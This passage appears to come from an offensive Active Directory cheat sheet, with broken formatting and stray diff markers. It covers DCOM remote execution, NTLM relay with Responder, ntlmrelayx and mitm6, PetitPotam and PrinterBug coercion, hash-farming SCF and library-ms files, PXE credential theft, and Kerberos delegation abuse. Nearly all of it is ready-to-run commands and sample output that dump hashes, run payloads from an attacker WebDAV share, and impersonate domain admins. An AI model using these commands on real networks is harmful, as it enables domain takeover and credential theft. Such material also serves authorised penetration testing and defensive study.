+PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,"-enc DFDFSFSFSFSFSFSFSDFSFSF < Empire encoded string > ","7")
+
+# Weaponized example with MSBuild
+PS C:\> [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe",$null,"\\10.10.10.2\webdav\build.xml","7")
+
Invoke-MMC20RCE : https://raw.githubusercontent.com/n0tty/powershellery/master/Invoke-MMC20RCE.ps1
+# Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro through DCOM
+Invoke-Excel4DCOM64.ps1 https://gist.github.com/Philts/85d0f2f0a1cc901d40bbb5b44eb3b4c9
+Invoke-ExShellcode.ps1 https://gist.github.com/Philts/f7c85995c5198e845c70cc51cd4e7e2a
+
+# Using Excel DDE
+PS C:\> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
+PS C:\> $excel.DisplayAlerts = $false
+PS C:\> $excel.DDEInitiate("cmd", "/c calc.exe")
+
+# Using Excel RegisterXLL
+# Can't be used reliably with a remote target
+Require: reg add HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\Trusted Locations /v AllowsNetworkLocations /t REG_DWORD /d 1
+PS> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
+PS> $excel.RegisterXLL("EvilXLL.dll")
+
+# Using Visio
+$visio = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp", "$ComputerName"))
+$visio.Addons.Add("C:\Windows\System32\cmd.exe").Run("/c calc")
+
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.1")
+$obj = [System.Activator]::CreateInstance($com)
+$item = $obj.Item()
+$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
+
Windows 10 only, the object doesn't exists in Windows 7
+$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"10.10.10.1")
+$obj = [System.Activator]::CreateInstance($com)
+$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
+
NTLMv1 and NTLMv2 can be relayed to connect to another machine.
+Hash | +Hashcat | +Attack method | +
---|---|---|
LM | +3000 |
+crack/pass the hash | +
NTLM/NTHash | +1000 |
+crack/pass the hash | +
NTLMv1/Net-NTLMv1 | +5500 |
+crack/relay attack | +
NTLMv2/Net-NTLMv2 | +5600 |
+crack/relay attack | +
Crack the hash with hashcat
.
NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.
+++This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.
+
During security assessment, sometimes we don't have any account to perform the audit. Therefore we can inject ourselves into the Active Directory by performing NTLM relaying attack. For this technique three requirements are needed:
+Not required
)ms-DS-MachineAccountQuota
needs to be at least at 1 for the account relayed (10 by default)Then we can use a tool to poison LLMNR
, MDNS
and NETBIOS
requests on the network such as Responder
and use ntlmrelayx
to add our computer.
# On first terminal
+sudo ./Responder.py -I eth0 -wfrd -P -v
+
+# On second terminal
+sudo python ./ntlmrelayx.py -t ldaps://IP_DC --add-computer
+
If a machine has SMB signing
:disabled
, it is possible to use Responder with Multirelay.py script to perform an NTLMv2 hashes relay
and get a shell access on the machine. Also called LLMNR/NBNS Poisoning
SMB
and HTTP
to Off
.
+ python RunFinger.py -i IP_Range
to detect machine with SMB signing
:disabled
.python Responder.py -I <interface_card>
ntlmrelayx
or MultiRelay
impacket-ntlmrelayx -tf targets.txt
to dump the SAM database of the targets in the list. python MultiRelay.py -t <target_machine_IP> -u ALL
$ impacket-ntlmrelayx -tf /tmp/targets.txt -socks -smb2support
+[*] Servers started, waiting for connections
+Type help for list of commands
+ntlmrelayx> socks
+Protocol Target Username Port
+-------- -------------- ------------------------ ----
+MSSQL 192.168.48.230 VULNERABLE/ADMINISTRATOR 1433
+SMB 192.168.48.230 CONTOSO/NORMALUSER1 445
+MSSQL 192.168.48.230 CONTOSO/NORMALUSER1 1433
+
+# You might need to select a target with "-t"
+# smb://, mssql://, http://, https://, imap://, imaps://, ldap://, ldaps:// and smtp://
+impacket-ntlmrelayx -t mssql://10.10.10.10 -socks -smb2support
+impacket-ntlmrelayx -t smb://10.10.10.10 -socks -smb2support
+
+# the socks proxy can then be used with your Impacket tools or netexec
+$ proxychains impacket-smbclient //192.168.48.230/Users -U contoso/normaluser1
+$ proxychains impacket-mssqlclient DOMAIN/USER@10.10.10.10 -windows-auth
+$ proxychains netexec mssql 10.10.10.10 -u user -p '' -d DOMAIN -q "SELECT 1"
+
Mitigations:
+Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.
+netexec smb $hosts --gen-relay-list relay.txt
+
+# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
+# -d is the domain name that we filter our request on - the attacked domain
+# -i is the interface we have mitm6 listen on for events
+mitm6 -i eth0 -d $domain
+
+# spoofing WPAD and relaying NTLM credentials
+impacket-ntlmrelayx -6 -wh $attacker_ip -of loot -tf relay.txt
+impacket-ntlmrelayx -6 -wh $attacker_ip -l /tmp -socks -debug
+
+# -ip is the interface you want the relay to run on
+# -wh is for WPAD host, specifying your wpad file to serve
+# -t is the target where you want to relay to.
+impacket-ntlmrelayx -ip 10.10.10.1 -wh $attacker_ip -t ldaps://10.10.10.2
+
++The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP
+
Check vulnerability with cve-2019-1040-scanner
+python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
+[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
+[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)
+
Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD +
+Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.
+# create a new machine account
+TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support
+TERM2> python printerbug.py relaytest.local/username@second-dc-server 10.0.2.6
+TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME
+
+# connect using the ticket
+export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache
+secretsdump.py -k -no-pass second-dc-server.local -just-dc
+
++A tampering vulnerability exists in Microsoft Windows when a man-in-the-middle attacker is able to successfully bypass the NTLM MIC (Message Integrity Check) protection. An attacker who successfully exploited this vulnerability could gain the ability to downgrade NTLM security features. To exploit this vulnerability, the attacker would need to tamper with the NTLM exchange. The attacker could then modify flags of the NTLM packet without invalidating the signature.
+
NTLM_NEGOTIATE
message (NTLMSSP_NEGOTIATE_ALWAYS_SIGN
, NTLMSSP_NEGOTIATE_SIGN
)NTLM_CHALLENGE
message with a value of zerosNTLM_AUTHENTICATE
messageNTLM_AUTHENTICATE
message: NTLMSSP_NEGOTIATE_ALWAYS_SIGN
, NTLMSSP_NEGOTIATE_SIGN
, NEGOTIATE_KEY_EXCHANGE
, NEGOTIATE_VERSION
.ntlmrelayx.py -t ldap://dc.domain.com --escalate-user 'youruser$' -smb2support --remove-mic --delegate-access
+
Requirements:
+Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impacket-ghostpotato.zip
+ +++It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine
+
Requirements:
+# https://github.com/antonioCoco/RemotePotato0/
+Terminal> sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 & # Can be omitted for Windows Server <= 2016
+Terminal> sudo ntlmrelayx.py -t ldap://192.168.83.135 --no-wcf-server --escalate-user winrm_user_1
+Session0> RemotePotato0.exe -r 192.168.83.130 -p 9998 -s 2
+Terminal> psexec.py 'LAB/winrm_user_1:Password123!@192.168.83.135'
+
Requirements:
+++ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.
+
git clone https://github.com/fox-it/mitm6.git
+cd /opt/tools/mitm6
+pip install .
+
+mitm6 -hw ws02 -d lab.local --ignore-nofqnd
+# -d: the domain name that we filter our request on (the attacked domain)
+# -i: the interface we have mitm6 listen on for events
+# -hw: host whitelist
+
+ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad
+ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad --add-computer
+# -ip: the interface you want the relay to run on
+# -wh: WPAD host, specifying your wpad file to serve
+# -t: the target where you want to relay to
+
+# now granting delegation rights and then do a RBCD
+ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
+getST.py -spn cifs/target.lab.local lab.local/GENERATED\$ -impersonate Administrator
+export KRB5CCNAME=administrator.ccache
+secretsdump.py -k -no-pass target.lab.local
+
++Example of exploitation where you can coerce machine accounts to authenticate to a host and combine it with Resource Based Constrained Delegation to gain elevated access. It allows attackers to elicit authentications made over HTTP instead of SMB
+
Requirement:
+Enable WebClient:
+WebClient service can be enable on the machine using several techniques:
+net
command : net use ...
.searchConnector-ms
extension located inside.
+ <?xml version="1.0" encoding="UTF-8"?>
+<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
+ <description>Microsoft Outlook</description>
+ <isSearchOnlyItem>false</isSearchOnlyItem>
+ <includeInStartMenuScope>true</includeInStartMenuScope>
+ <templateInfo>
+ <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
+ </templateInfo>
+ <simpleLocation>
+ <url>https://example/</url>
+ </simpleLocation>
+</searchConnectorDescription>
+
Exploitation:
+Discover machines on the network with enabled WebClient service +
+Disable HTTP in Responder +
+Generate a Windows machine name, e.g: "WIN-UBNW4FI3AP0" +
+Prepare for RBCD against the DC +
+Trigger the authentication to relay to our nltmrelayx: PetitPotam.exe WIN-UBNW4FI3AP0@80/test.txt 10.10.10.10
, the listener host must be specified with the FQDN or full netbios name like logger.domain.local@80/test.txt
. Specifying the IP results in anonymous auth instead of System.
+
# PrinterBug
+dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP"
+SpoolSample.exe "TARGET_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"
+
+# PetitPotam
+Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP"
+Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP"
+PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP"
+
Use the created account to ask for a service ticket: +
.\Rubeus.exe hash /domain:purple.lab /user:WVLFLLKZ$ /password:'iUAL)l<i$;UzD7W'
+.\Rubeus.exe s4u /user:WVLFLLKZ$ /aes256:E0B3D87B512C218D38FAFDBD8A2EC55C83044FD24B6D740140C329F248992D8F /impersonateuser:Administrator /msdsspn:host/pc1.purple.lab /altservice:cifs /nowrap /ptt
+ls \\PC1.purple.lab\c$
+# IP of PC1: 10.0.0.4
+
An alternative for the previous exploitation method is to register a DNS entry for the attack machine by yourself then trigger the coercion.
+python3 /opt/krbrelayx/dnstool.py -u lab.lan\\jdoe -p 'P@ssw0rd' -r attacker.lab.lan -a add -d 192.168.1.50 192.168.1.2
+python3 /opt/PetitPotam.py -u jdoe -p 'P@ssw0rd' -d lab.lan attacker@80/test 192.168.1.3
+
Usage
+pyrdp-mitm.py <IP>
+pyrdp-mitp.py <IP>:<PORT> # with custom port
+pyrdp-mitm.py <IP> -k private_key.pem -c certificate.pem # with custom key and certificate
+
Exploitation
+Alternatives
+PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.
+Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.
+ +Extract the pre-boot image (wim files) using PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.
+# Import the module
+PS > Import-Module .\PowerPXE.ps1
+
+# Start the exploit on the Ethernet interface
+PS > Get-PXEcreds -InterfaceAlias Ethernet
+PS > Get-PXECreds -InterfaceAlias « lab 0 »
+
+# Wait for the DHCP to get an address
+>> Get a valid IP address
+>>> >>> DHCP proposal IP address: 192.168.22.101
+>>> >>> DHCP Validation: DHCPACK
+>>> >>> IP address configured: 192.168.22.101
+
+# Extract BCD path from the DHCP response
+>> Request BCD File path
+>>> >>> BCD File path: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
+>>> >>> TFTP IP Address: 192.168.22.3
+
+# Download the BCD file and extract wim files
+>> Launch TFTP download
+>>>> Transfer succeeded.
+>> Parse the BCD file: conf.bcd
+>>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
+>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
+>> Launch TFTP download
+>>>> Transfer succeeded.
+
+# Parse wim files to find interesting data
+>> Open LiteTouchPE_x86.wim
+>>>> Finding Bootstrap.ini
+>>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
+>>>> >>>> UserID = MdtService
+>>>> >>>> UserPassword = Somepass1
+
++Some shares can be accessible without authentication, explore them to find some juicy files
+
Pennyw0rth/NetExec - The Network Execution Tool +
+ShawnDEvans/smbmap - a handy SMB enumeration tool +
+byt3bl33d3r/pth-smbclient from path-toolkit +
+SecureAuthCorp/smbclient from Impacket +
smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
+ Sharename Type Comment
+ --------- ---- -------
+ ADMIN$ Disk Remote Admin
+ C$ Disk Default share
+ IPC$ IPC Remote IPC
+ NETLOGON Disk Logon server share
+ Replication Disk
+ SYSVOL Disk Logon server share
+ Users Disk
+use Sharename # select a Sharename
+cd Folder # move inside a folder
+ls # list files
+
smbclient - from Samba, ftp-like client to access SMB/CIFS resources on servers +
+SnaffCon/Snaffler - a tool for pentesters to help find delicious candy +
+Write SCF and URL files on a writeable share to farm for user's hashes and eventually replay them.
+Theses attacks can be automated with Farmer.exe and Crop.exe
+# Farmer to receive auth
+farmer.exe <port> [seconds] [output]
+farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
+farmer.exe 8888 60 # one minute
+
+# Crop can be used to create various file types that will trigger SMB/WebDAV connections for poisoning file shares during hash collection attacks
+crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
+Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
+Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec
+
Drop the following @something.scf
file inside a share and start listening with Responder : responder -wrf --lm -v -I eth0
Using netexec
:
netexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVER=IP_RESPONDER #scf
+netexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER #lnk
+netexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER CLEANUP
+
This attack also works with .url
files and responder -I eth0 -v
.
[InternetShortcut]
+URL=whatever
+WorkingDirectory=whatever
+IconFile=\\10.10.10.10\%USERNAME%.icon
+IconIndex=1
+
++Windows Library Files (.library-ms)
+
<?xml version="1.0" encoding="UTF-8"?>
+<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
+ <name>@windows.storage.dll,-34582</name>
+ <version>6</version>
+ <isLibraryPinned>true</isLibraryPinned>
+ <iconReference>imageres.dll,-1003</iconReference>
+ <templateInfo>
+ <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
+ </templateInfo>
+ <searchConnectorDescriptionList>
+ <searchConnectorDescription>
+ <isDefaultSaveLocation>true</isDefaultSaveLocation>
+ <isSupported>false</isSupported>
+ <simpleLocation>
+ <url>\\\\workstation@8888\\folder</url>
+ </simpleLocation>
+ </searchConnectorDescription>
+ </searchConnectorDescriptionList>
+</libraryDescription>
+
++Windows Search Connectors (.searchConnector-ms)
+
<?xml version="1.0" encoding="UTF-8"?>
+<searchConnectorDescription xmlns="<http://schemas.microsoft.com/windows/2009/searchConnector>">
+ <iconReference>imageres.dll,-1002</iconReference>
+ <description>Microsoft Outlook</description>
+ <isSearchOnlyItem>false</isSearchOnlyItem>
+ <includeInStartMenuScope>true</includeInStartMenuScope>
+ <iconReference>\\\\workstation@8888\\folder.ico</iconReference>
+ <templateInfo>
+ <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
+ </templateInfo>
+ <simpleLocation>
+ <url>\\\\workstation@8888\\folder</url>
+ </simpleLocation>
+</searchConnectorDescription>
+
CVE-2020-17049
+++An attacker can impersonate users which are not allowed to be delegated. This includes members of the Protected Users group and any other users explicitly configured as sensitive and cannot be delegated.
+Patch is out on November 10, 2020, DC are most likely vulnerable until February 2021.
+
Patched Error Message : [-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)
Requirements:
+Constrained Delegation
or Resource Based Constrained Delegation
Attack #1 - Bypass the Trust this user for delegation to specified services only – Use Kerberos only
protection and impersonate a user who is protected from delegation.
# forwardable flag is only protected by the ticket encryption which uses the service account's password
+$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip <Domain controller> # -> Forwardable
+
+$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable
+
+# Load the ticket
+.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit
+
+# Access "c$"
+ls \\service2.test.local\c$
+
Attack #2 - Write Permissions to one or more objects in the AD +* Windows/Linux: +
bloodyAD -u user -p 'totoTOTOtoto1234*' -d test.local --host 10.100.10.5 add computer AttackerService 'AttackerServicePassword'
+bloodyAD --host 10.1.0.4 -u user -p 'totoTOTOtoto1234*' -d test.local add rbcd 'Service2$' 'AttackerService$'
+
+# Execute the attack
+getST.py -spn cifs/Service2.test.local -impersonate User2 -dc-ip 10.100.10.5 -force-forwardable 'test.local/AttackerService$:AttackerServicePassword'
+
# Create a new machine account
+Import-Module .\Powermad\powermad.ps1
+New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
+.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit
+
+# Set PrincipalsAllowedToDelegateToAccount
+Install-WindowsFeature RSAT-AD-PowerShell
+Import-Module ActiveDirectory
+Get-ADComputer AttackerService
+Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
+Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount
+
+# Execute the attack
+python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardable
+
+# Load the ticket
+.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
+
++Kerberos Constrained Delegation (KCD) is a security feature in Microsoft's Active Directory (AD) that allows a service to impersonate a user or another service in order to access resources on behalf of that user or service.
+
MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p
Get-NetComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft
Impacket +
+Rubeus: S4U2 attack (S4U2self + S4U2proxy) +
# with a password
+Rubeus.exe s4u /nowrap /msdsspn:"time/target.local" /altservice:cifs /impersonateuser:"administrator" /domain:"domain" /user:"user" /password:"password"
+
+# with a NT hash
+Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:time/srv01.domain.com /altservice:cifs /ptt
+Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt
+dir \\dc.domain.com\c$
+
Rubeus: use an existing ticket to perform a S4U2 attack to impersonate the "Administrator" +
+Rubeus : using aes256 keys +
+Require: +* SYSTEM level privileges on a machine configured with constrained delegation
+PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
+PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
+PS> $idToImpersonate.Impersonate()
+PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
+PS> ls \\dc01.offense.local\c$
+
Resource-based Constrained Delegation was introduced in Windows Server 2012.
+++The user sends a Service Ticket (ST) to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a ST for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
+
Import Powermad and Powerview
+ +Get user SID
+$AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
+$ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
+$ACE
+ConvertFrom-SID $ACE.SecurityIdentifier
+
+# alternative (Windows/Linux)
+bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get writable --otype COMPUTER --detail | egrep -i 'distinguishedName|msds-allowedtoactonbehalfofotheridentity'
+
Abuse MachineAccountQuota to create a computer account and set an SPN for it
+ +Rewrite DC's AllowedToActOnBehalfOfOtherIdentity properties
+$ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
+$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
+$SDBytes = New-Object byte[] ($SD.BinaryLength)
+$SD.GetBinaryForm($SDBytes, 0)
+Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
+$RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
+$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
+$Descriptor.DiscretionaryAcl
+
+# alternative (Windows/Linux)
+# use 'remove' instead of 'add' after exploit
+bloodyAD --host 10.1.0.4 -u user -p 'totoTOTOtoto1234*' -d crash.lab add rbcd 'dc01-ww2$' 'swktest$'
+
# alternative
+$SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid
+$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
+
+# alternative
+StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND
+
Use Rubeus to get hash from password
+Rubeus.exe hash /password:'Weakest123*' /user:swktest$ /domain:factory.lan
+[*] Input password : Weakest123*
+[*] Input username : swktest$
+[*] Input domain : factory.lan
+[*] Salt : FACTORY.LANswktest
+[*] rc4_hmac : F8E064CA98539B735600714A1F1907DD
+[*] aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
+[*] aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
+[*] des_cbc_md5 : BA297CFD07E62A5E
+
Impersonate domain admin using our newly created machine account
+.\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
+.\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
+
+[*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
+[*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5)
+[*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
+[*] Sending S4U2proxy request
+[+] S4U2proxy success!
+[*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':
+
+ doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD
+ AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
+ LmZhY3RvcnkubGFu
+
+[*] Action: Import Ticket
+[+] Ticket successfully imported!
+
++The user sends a ST to access the service, along with their TGT, and then the service can use the user's TGT to request a ST for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
+When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory.
+
Unconstrained delegation used to be the only option available in Windows 2000
+++Warning +Remember to coerce to a HOSTNAME if you want a Kerberos Ticket
+
The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.
+Requirements: +- Object with Property Trust this computer for delegation to any service (Kerberos only) +- Must have ADS_UF_TRUSTED_FOR_DELEGATION +- Must not have ADS_UF_NOT_DELEGATED flag +- User must not be in the Protected Users group +- User must not have the flag Account is sensitive and cannot be delegated
+ : Domain controllers usually have unconstrained delegation enabled.
+Check the TRUSTED_FOR_DELEGATION
property.
bloodyAD +
+BloodHound: MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
Get-ADComputer -LDAPFilter "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -Properties DNSHostName,userAccountControl
Check if the spool service is running on the remote host
+ +Monitor incoming connections from Rubeus.
+ +Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.
+++SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.
+
# From https://github.com/leechristensen/SpoolSample
+.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
+.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
+# DC01.HACKER.LAB is the domain controller we want to compromise
+# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.
+
+# From https://github.com/dirkjanm/krbrelayx
+printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-NAME>
+
+# From https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-2773689
+python dementor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME> <VICTIM-DC-NAME>
+
If the attack worked you should get a TGT of the domain controller.
+Extract the base64 TGT from Rubeus output and load it to our current session.
+ +Alternatively you could also grab the ticket using Mimikatz : mimikatz # sekurlsa::tickets
Then you can use DCsync or another attack : mimikatz # lsadump::dcsync /user:HACKER\krbtgt
Using PetitPotam
, another tool to coerce a callback from the targeted machine, instead of SpoolSample
.
# Coerce the callback
+git clone https://github.com/topotam/PetitPotam
+python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
+python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
+
+# Extract the ticket
+.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
+
Rubeus.exe tgtdeleg /nowrap
The "Network Service" account and the AppPool identities can act as the computer account in terms of Active Directory, they are only restrained locally. Therefore it is possible to invoke S4U2self if you run as one of these and request a service ticket for any user (e.g. someone with local admin rights, like DA) to yourself.
+# The Rubeus execution will fail when trying the S4UProxy step, but the ticket generated by S4USelf will be printed.
+Rubeus.exe s4u /user:${computerAccount} /msdsspn:cifs/${computerDNS} /impersonateuser:${localAdmin} /ticket:${TGT} /nowrap
+# The service name is not included in the TGS ciphered data and can be modified at will.
+Rubeus.exe tgssub /ticket:${ticket} /altservice:cifs/${ServerDNSName} /ptt
+
